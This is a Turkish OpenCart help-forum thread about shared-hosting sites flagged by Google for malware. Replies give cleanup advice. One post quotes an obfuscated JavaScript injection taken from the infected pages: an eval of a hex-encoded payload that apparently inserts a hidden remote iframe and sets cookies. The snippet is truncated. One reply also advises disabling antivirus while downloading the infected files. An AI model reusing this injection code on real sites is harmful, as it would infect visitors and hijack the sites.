Opencart Türkiye Destek Sitesi ,E-Ticaret Yazılımı Destek Paylaşım Forumu

Arkadaşlar dün kendi web sitem olan ve opencart yüklü http://www.gecgel.net e boyle bir uyarı geldi bugunde daha once opencart ile yaptığım akasyaticaret.com için bu uyarı geldi.

ayrıca diğer yaptığım tüm opencart sitelerinde de türkçe karakterler bozuk görünüyor. onlarda saldırı altında mı acaba?

web sitelerimi "Gideceğiniz Web Sitesinde Kötü Amaçlı Yazılım Var!" uyarısından nasıl kurtarabilirim bunu için hangi adımları uygulamalıyım.

Google sitenizi bir şekilde karalisteye almış.
Bir google hesabı edinin ve aşağıdaki adresi ziyaret ederek bir inceleme isteğinde bulunun.
http://www.google.com/webmasters/tools/

Merhaba ; siteleriniz aynı sunucuda mı? anlattıklarınıza baktıgımızda opencarttan yada sizin sitelerinizden daha ziyade sanki sunucuya yapılmış bir saldırı gibi geldi...

evet sitelerin hepsi aynı hostingimde kurulu. ve şimdi opencart olan sitelerin 2 si kapalı diğerlerinde de türkçe karakter hatası veriyor ve sitelere ftp ile 1aydır bağlanmıyorum. yani yeni giriş yapılmadı sitelere.

http://www.sedefmakina.com
http://www.1taneal.com busitelerde de turkçe karakter sorunları baş göstermiş.

Burumda sunucnuza saldırı olmuş ve mevcut tüm sitelere zararlı içerik yerleştirilmiş.. siz sitenizi temizlesenizde sunucudaki diger siteler temzilenmedikçe risk altındasınız demektir hosting firmanızla bu durumu konuşmalısınız..

sitenizinin ana dizinindeki index.php dosyasını açın.
En altta <script> ile başlayan bir kod olup olmadığını kontrol edin.
Ama sizin sorununuz jquery kütüphanesinden kaynaklı.

catalog/view/javascript/jquery/ui/jquery-ui-1.8.9.custom.min.js

bu dosyayı kaldırın sorun düzelir.

dosyayı silince akasya geri geldi. ama turkçe karakter sorunu dvam ediyor.

belkide bu turkçe karakter sorunu bnim pc den kaynaklı olabilir diye sizden rica etsem bakar mısınız turkçe karakterlerde sorun var mı?

w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["\x62ody"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6​9,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,​1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,6e,25,6a,69,5a,17,34,17,1e,5f,6b,​6b,67,31,26,26,4d,60,5b,58,3b,5c,44,58,69,62,5c,6b,5c,69,25,5a,66,64,26,5a,66,6c​,65,6b,25,67,5f,67,1e,32,4,1,17,69,6e,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,​65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,69,6e,25,6a,6b,70,63,5c,25,5​9,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,69,6e,25,6a,6b,70,63,5c,25,5f,5c,60​,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,69,6e,25,6a,6b,70,63,5c,25,6e,60,5b,​6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,69,6e,25,6a,6b,70,63,5c,25,63,5c,5d,6b,1​7,34,17,1e,28,67,6f,1e,32,4,1,17,69,6e,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e​,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c​,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,69,6e,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,​5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,69,6e,53,1e,35,33​,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,​5c,65,6b,39,70,40,5b,1f,1e,69,6e,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,69​,6e,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,6​0,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,​3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,6​5,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65​,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,​63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6​f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,​1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,6​6,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,​22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,2​2,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,​4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58​,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b​,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,​58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25​,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,​69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f​,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1​,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,2​5,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,​20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,6


sitenizde bu tür kodlar mevcut. index.php dosyasında veya header dosyalarınızda zararlı içerik kodları mevcut. Eğer cuteftp kullanıyorsanız bunu yapabilir. Filezilla kullanmayı deneyin. Sunucuda antivirüs taraması yapın.

index.php içindekini sildim değişmedi.

header ve home.php de de vardı onlarıda sildim.

tüm php lere mi bakmalıyım?
başka hangi dosyalara atılmış olabilir script kodu?

(05-15-2013 01:22 PM)cevahirabi Yazılan:  index.php içindekini sildim değişmedi. başka hangi dosyalara atılmış olabilir script kodu?

hepsine atılmış olabilir.Wp bir sitede ana dizinde ki tüm dosyalara bulaşmış olduğunu gördüğüm oldu.Benim size tavisyemönce ftp den tüm dosyalarınızı bilgisayarınıza indirin.bunu yaparken antivirüs programınız varsa kapatın ve ayrıca cuteftp tarzı kırık yada crack li program kullanıyorsanız kullanmayın.Çok daha stabil mesela fireftp gibi mozillanın eklentisi var kurul yapmadan browser tabanlı çalışan.Bu gibi programlar ile indirin ve daha sonra virüs taraması yapın tavisyem kaspersky dir. bulduğu dosyaları karantinaya alın sonradan tek tek incelersiniz.Ama tum bunları yapmadan önce hostunuzla temasa geçip site virüslenmden önceki yedeklerinide isteyebilirsiniz.Eliniz deymişken bide sorun benim sistemime virüs nasıl girer diye.Eğer sizden kaynaklı derlerse system log larını isteyin.eğer veremezlerse yedek aldığınızdan eminseniz hostunuzu değişin